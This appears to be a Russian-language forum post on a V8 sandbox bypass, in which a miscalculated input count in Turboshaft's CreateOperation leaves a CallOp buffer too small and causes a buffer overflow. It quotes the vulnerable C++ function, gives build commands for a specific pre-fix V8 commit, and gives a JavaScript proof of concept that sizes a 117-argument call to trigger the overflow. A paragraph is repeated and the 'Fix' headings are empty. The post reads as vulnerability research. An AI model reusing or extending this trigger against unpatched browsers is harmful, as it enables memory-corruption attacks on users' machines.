Данный V8 sbx bypass является первым, который может напрямую быть стриггерин из JS.
До фикса в функции CreateOperation(Turboshaft) происходило неправильное вычисление количества входных аргументов для операции CallOp/некорректного размера буфера(неправильное вычисление input_count). Это приводило к выделению недостаточного количества памяти, что, в свою очередь, вызывало BoF.
Путем создания JS-функи с точным количеством аргументов движок Turboshaft генерирует CallOp с слишком большим буфером(CallOp ожидает фиксированный размер буфера на основе количества аргументов, но из-за неправильного вычисления он обращается к памяти за пределами выделенного буфера), что вызывает BoF/V8 sbx bypass.
Фикс:
Триггерится довольно просто:
issues.chromium.org
До фикса в функции CreateOperation(Turboshaft) происходило неправильное вычисление количества входных аргументов для операции CallOp/некорректного размера буфера(неправильное вычисление input_count). Это приводило к выделению недостаточного количества памяти, что, в свою очередь, вызывало BoF.
C++:
template <typename Op, typename... Args>
Op* CreateOperation(base::SmallVector<OperationStorageSlot, 32>& storage,
Args... args) {
size_t size = Operation::StorageSlotCount(
Op::opcode, (0 + ... + detail::input_count(args)));
storage.resize_no_init(size);
return new (storage.data()) Op(args...);
}
Фикс:
Триггерится довольно просто:
Bash:
$ cd ~
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ export PATH=~/depot_tools:$PATH
$ mkdir v8
$ cd v8
$ fetch v8
$ cd v8
$ git checkout 661f05587fae383d0a269360a9e792e8671be4fd
$ gclient sync -D
$ ./build/install-build-deps.sh
$ gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true"
$ gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true"
$ ninja -C out/debug d8; ninja -C out/release d8
$ ./d8 --allow-natives-syntax PoC.js
JavaScript:
function g() {}
function f() {
// Нам нужен CallOp размером 516 байт. Сам CallOp занимает 24 байта. Таким образом,
// нам нужно 516-24=492 байта для входных данных, с 4 байтами на один вход, это составляет
// 492/4 = 123 входных данных.
// JS вызовы в Turboshaft всегда имеют 6 дополнительных входных данных (target, frame
// state, context, количество аргументов...), поэтому мы пишем JS вызов со 117 входными данными, чтобы достичь
// 123 входных данных, чтобы достичь 516 байт, необходимых для CallOp.
g(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56,
57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70,
71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84,
85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98,
99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112,
113, 114, 115, 116, 117);
}
% PrepareFunctionForOptimization(f);
f();
% OptimizeFunctionOnNextCall(f);
f();